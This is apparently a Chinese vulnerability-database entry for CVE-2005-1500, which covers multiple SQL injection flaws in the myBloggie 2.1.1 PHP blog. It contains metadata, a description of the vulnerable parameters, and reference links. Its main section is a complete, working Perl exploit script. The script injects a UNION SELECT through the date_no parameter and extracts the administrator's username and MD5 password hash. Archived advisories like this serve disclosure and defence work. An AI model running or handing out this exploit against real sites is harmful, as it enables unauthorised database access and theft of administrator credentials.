MyBloggie多个输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108827 漏洞类型 SQL注入
发布时间 2005-05-31 更新时间 2006-06-15
CVE编号 CVE-2005-1500 CNNVD-ID CNNVD-200505-947
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1023
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-947
|漏洞详情
myBloggie2.1.1中存在多个SQL注入漏洞,远程攻击者可以通过(1)在search.php中的keyword参数,(2)在viewdate模式中的date_no参数,(3)在viewcat模式中的cat_id参数,在viewmonth模式中的(4)month_no或(5)year参数,或(6)在viewid模式中的post_id参数,执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his password crypted in MD5
# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&
#                     (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL

use LWP::Simple;

print "\n\t=======================================\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t=    Alberto Trivero - codebug.org    =\n";
print "\t=======================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
   print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
   exit(0);
}

$url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
if($ARGV[1] eq '2.1.1') {
   $page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
else {
   $page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);


# milw0rm.com [2005-05-31]
|参考资料

来源:XF
名称:mybloggie-sql-injection(20439)
链接:http://xforce.iss.net/xforce/xfdb/20439
来源:BID
名称:15017
链接:http://www.securityfocus.com/bid/15017
来源:BID
名称:13507
链接:http://www.securityfocus.com/bid/13507
来源:SECUNIA
名称:14980
链接:http://secunia.com/advisories/14980
来源:BUGTRAQ
名称:20050527SQLInjectionExploitformyBloggie2.1.1-2.1.2
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111722848308367&w=2
来源:BUGTRAQ
名称:20050505MultiplevulnerabilitiesinmyBloggie2.1.1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111531904608224&w=2